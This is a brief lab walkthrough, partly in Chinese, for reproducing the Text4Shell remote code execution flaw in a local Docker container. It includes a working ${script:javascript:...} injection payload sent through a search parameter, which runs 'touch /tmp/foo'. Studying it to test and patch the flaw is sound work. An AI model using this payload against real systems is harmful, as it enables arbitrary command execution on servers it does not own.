mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
你也可以尝试使用dns或url前缀。
获取容器ID
docker container ls
docker exec -it <container_id> bash
/tmp目录下看到一个名为foo的文件):ls /tmp/
docker container stop <container_id>